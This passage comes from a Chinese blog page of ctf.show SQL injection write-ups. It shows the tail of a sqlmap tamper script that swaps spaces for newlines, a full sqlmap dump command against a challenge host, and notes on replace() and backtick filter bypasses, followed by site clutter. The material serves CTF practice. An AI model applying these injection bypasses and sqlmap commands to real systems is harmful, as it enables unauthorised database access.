                continue

            elif payload[i] == " " and not doublequote and not quote:
                retVal += chr(0x0a)
                continue

            retVal += payload[i]

    return retVal

python ./sqlmap.py -u "http://b04bf76a-3d4c-4460-8d70-d6c1f9a128ea.challenge.ctf.show/api/index.php" --dump --referer="ctf.show" --safe-url="http://b04bf76a-3d4c-4460-8d70-d6c1f9a128ea.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=rruut5lcilotv3sbidlsrgic9r" --method="PUT" -headers="content-type:text/plain" --data="id=1" --tamper="tamper/ctfshowweb210.py"
CTF-Show-SQL注入系列 我们可以采用mysql中的replace函数绕过,将0-9数字替换成不同的字符,从而绕过。flag是包含数字的,因此我们需要将flag中的数字进行替换,从而将flag显示出来。将上述payload放在远端执行,burp抓包,进行url编码,填入id参数中。换句话来说,当username字段的值不为flag时,才可以进行显示。我们发现,sql语句中字段加反引号可以代替空格,得到的结果一样正确。使用上一题的payload,发现不行。我们将flag替换成1,那么就绕过了。我们输入id,就可以查询到用户。 阅读详情

相关推荐

CTFshow之web171~180---SQL注入(1)

ctfshow,SQL注入的wp

金 帛的博客 3944

CTFSHOW WEB入门——sql注入

ctfshow 靶场 web入门 sql注入系列

Chur的博客 6728

飞书云文档API操作详细介绍

开通云文档API、python程序调用飞书api、飞书获取app_id和app_secret、

Brother_ning的博客 1万+

CTF学习笔记——SQL注入

以pikachu靶场练习来学习ctf知识

xuanyulevel6的博客 6814

如何快速学习 PHP 编程:从入门到实战的高效路径

PHP高效学习路线摘要:4-8周掌握Web开发核心技能。阶段1(1周)搭建XAMPP/MAMP环境,掌握基础语法和变量处理;阶段2(2周)重点学习表单处理、会话管理和PDO数据库操作(防SQL注入);阶段3(2-3周)实战开发个人博客等小项目。关键原则:边学边练(每个知识点配3-5个案例)、优先掌握Web刚需技能(HTTP请求、数据库、动态页面)、善用官方手册。避坑点:密码必须加密、SQL使用预处理、统一UTF-8编码。建议每天2-3小时实操,通过项目驱动学习,快速形成开发能力。

2501_94233638的博客 1396

中国主要湖泊水库面状矢量边界图层ArcGIS应用实战:从数据获取到专题图制作

本文详细介绍了中国主要湖泊水库面状矢量边界图层在ArcGIS中的实战应用,从数据获取到专题图制作的全流程。涵盖官方数据源、科研机构共享数据及商业平台的选择,以及ArcGIS中的数据处理、拓扑错误修正和专题图设计技巧,帮助用户高效完成湖泊水库的空间分析与可视化。

weixin_33672400的博客 262

ctfshow web入门 sql注入

sql注入分为多种类型的注入,我将对ctfshow web入门的sql入门进行题目分类,并在最后对每种sql注入做一下总结;

weixin_74427106的博客 4548

Delta并联机械手-Codesys实现以及正解逆解研究

由于Codesys的Robotics模块有Delta并联机械手的运动模型,因此借助Codesys的机械手运动模型,研究自己的正解逆解算法。

weixin_42386991的博客 5572

CTFSHOW -SQL 注入

重新来做一遍 争取不看wp。

m0_64180167的博客 1686

wireshark抓取udp包不能抓取rtp包的完美解决方案

wireshark是网络抓包神器,他的功能和作用,想必不用费口舌给大家介绍了,我估计很多人在最初使用wireshark抓取rtp包分析的时候,会遇到这样的问题:如果运气好能抓到rtp包,如果运气不好就抓不到rtp只能抓到udp包,要抓到rtp包只能重启wireshark等待运气的降临,今天给大家介绍一个小技巧让大家能够掌握主动权,不用等待运气的降临,可以随时抓取rtp包。图1如图1所示,有的时候我...

9711

V-Mamba:2D 选择性扫描状态空间模型图像分类

V-Mamba CIFAR-10 分类链路:32² RGB → Stem Conv (3→64ch, stride2→16²) → VMambaBlock ×4 (SS2D 四方向 → Mamba S6 扫描 → MLP) → GAP → Linear → 10 类。核心贡献:SS2D 四方向扫描将 2D 空间建模转为 4 个 1D 序列, 计算复杂度从 O(N²) 降至 O(N)。建议先从 CIFAR-10 dim=64 depth=4 验证 SSM 收敛性;

FJN110的博客 78

ctfshow web入门--sql注入

或者:1' union select 1,database(),3--+闭合方式确定后测试回显位置,发现有3列(到4时报错)不报错,所以接下来尝试。

2402_87078084的博客 640

Android14 SystemUI如何实现下拉菜单栏高斯模糊背景效果(类似于毛玻璃效果)

我们都知道,从Android12起,下拉菜单栏控制中心都是黑色的,看起来非常不美观,而且国内的手机系统UI都做的比较美观,大部分的下拉菜单UI背景都是实现了高斯模糊效果,所以客户也会要求实现类似于这样的效果。在以前的Android项目中,实现下拉菜单栏的模糊背景就是通过截图的方式进行替换背景,而这种方式下拉菜单背景极易替换不了,就算是在各个地方都适配,还是有概率在复杂场景或者一些测试手法下出现背景是黑的情况,并且这种方式还比较影响性能,毕竟每次都要去截图一次,多做了额外的事。

热衷于Android Framework和系统APP的修改经验分享 1807

ctfshow SQL注入练习

and的优先级高于or,需要同时满足两边的条件才会返回true,那么后面可以接一个or,or的两边有一个为true,既可以满足and。有过滤的字符型注入,和上上题差不多,增加了对 %09 %0a %0b %0d 的过滤,%0c 可以用。有过滤的字符型注入,相比上题增加了对 #(%23) 的过滤,这里使用 --(–后加个空格) 绕过。先用上一题的payload打一下试试,密码栏出现的不是flag而是 not_here,过滤了空格(%20),可以使用%09 、/**/、%0c。通过二分法逐渐缩小范围直至确定。

fjyyyyy7的博客 1744

【安全机制分析案例】从PDF预览页面提取原始PDF文件的方法原理与实践 篇二:基于致远互联(Seeyon)封装的SuwellLightRead技术

该HTML代码片段展示了致远OA协同办公系统的前端页面结构,包含多个CSS样式表和JavaScript文件的引用。页面设置了IE兼容模式,加载了全局环境变量、UI组件库和公告模块相关资源。代码中定义了系统路径、静态资源后缀等全局变量,并包含公告查看功能的相关配置参数。页面还引用了水印、文档处理、即时通讯等功能的JS文件,并设置了文件下载框架。整体呈现了一个典型的OA系统前端实现方案,包含浏览器兼容处理、资源加载和功能模块初始化等逻辑。

生活在别处 2086

复分析 阿尔福斯(Ahlfors) 第三版答案 英文

答案分为十章,有部分习题没有答案,全英文复分析阿尔福斯(Ahlfors) 第三版答案

CTFSHOW-SQL注入-二

title: CTFSHOW-SQL注入(二) date: 2021-09-25 09:32:11 tags: CTF-WEB CTFSHOW-SQL注入(二) 这里是ctfshow sql注入的第二篇 题目:214-250 因为对SQLmap的使用和tamper的编写还是不太熟悉。因此跳过了sqlmap的部分。 时间盲注 web 214(时间盲注-数字型) 整懵了。上来注入点都找不到。 师傅们说在/api/index.php的post里面 id=xx&debug=0 也没说为什么。反正这个不是.

qq_51754713的博客 841

Statistics and Machine Learning Toolbox

Statistics and Machine Learning Toolbox(带书签),MATLAB统计学习工具

ctfshow——SQL注入

前者恒为真,如果and前面的语句有内容,则正常输出;后者恒为假,如果and前面的语句有内容,也不会输出。故,可以通过他们俩来判断SQL注入类型。查看页面源代码,发现一个js文件。访问该文件,会发现一个查询接口。一种方法是抓取数据包,让sqlmap跑数据包;不知道为啥这里%0c没有被过滤。的时候,需要使前面一条语句错误。伪造referer。这一关开始使用sqlmap。进行报错注入的时候,需要对。(+的url编码)替换。指定 sqlmap 以。参数指定要测试的网址,

qq_55202378的博客 2188

lwip-2.0.3

lwip是瑞典计算机科学院(SICS)的Adam Dunkels 开发的一个小型开源的TCP/IP协议栈。实现的重点是在保持TCP协议主要功能的基础上减少对RAM 的占用。

SAP B1中文培訓教材_SDK

公司内部培训资料,对开发工具 ,DIAPI, UIAPI,Add-ON有详细解说

CTF入门笔记之SQL注入

sql注入

qq_37410729的博客 3644

ctfshow-sql注入

ctf,sql注入

m0_72898152的博客 1148

CTFshow-WEB入门-SQL注入(下)

web227 按照上一题的方法,发现查不出flag表了,把ctfshow_user表给爆了一下也没flag,然后写一句话马,蚁剑连上去还是找不到flag,人傻了。。。 看了一下y4师傅的WP,原来这题考的是存储过程: 存储过程(Stored Procedure)是一种在数据库中存储复杂程序,以便外部程序调用的一种数据库对象。 存储过程是为了完成特定功能的SQL语句集,经编译创建并保存在数据库中,用户可通过指定存储过程的名字并给定参数(需要时)来调用执行。 存储过程思想上很简单,就是数据库 SQL 语言层面

feng的博客 2586

CTF Web SQL注入专项整理(持续更新中)

SQL注入专项整理

m0_73734159的博客 6301

二、sql注入(CTF技巧)

解释:在一些题目里面常常充满了各种各样的过滤,我们需要结合实际情况去进行注入,下面提供一些Payload以及适用场景。

黑日里不灭的light 1589

2024年最新CTF Web SQL注入专项整理(持续更新中)_ctf sql注入,一文轻松搞定

使用right()突破字符限制得到后一段flag值b-403a-8062-80f219ca1c30}好了大家已经明显看到了^和()绕过不同限制的区别那么下面就给大家一直演示^绕过or限制了(上一个updatexml()函数使用的是()绕过空格限制)使用right()突破字符限制原文链接:https://blog.csdn.net/m0_73734159/article/details/134450773。

2401_84973202的博客 2931

CTF-SQL注入

CTF-SQL注入题目整理

weixin_44770698的博客 5928

CTFshow——web入门——sql注入

web入门——sql注入基础知识点判断是否注入order by 判断列数web171web172web173 基础知识点 判断是否注入 使用注释符–+ +代表的是空格 或者使用%23来做注释符 1' and 1=1%23 order by 判断列数 order by 是根据某一列进行排序 使用 1' order by 3--+ 返回正常 1' order by 4--+ 没有数据 说明列数是3 web171 本地测试,查询id为id = '9999' or id='3',9999不存在时会查询id=3

h_adam的博客 7384

【CTF】CTFshow-SQL注入(持续更新)

CTFshow sql

qq_53099119的博客 1228
上一篇: CTFSHOW-文件上传
下一篇: [极客大挑战 2019]EasySQL
超级兵_140
博客等级 码龄5年 143粉丝 134原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值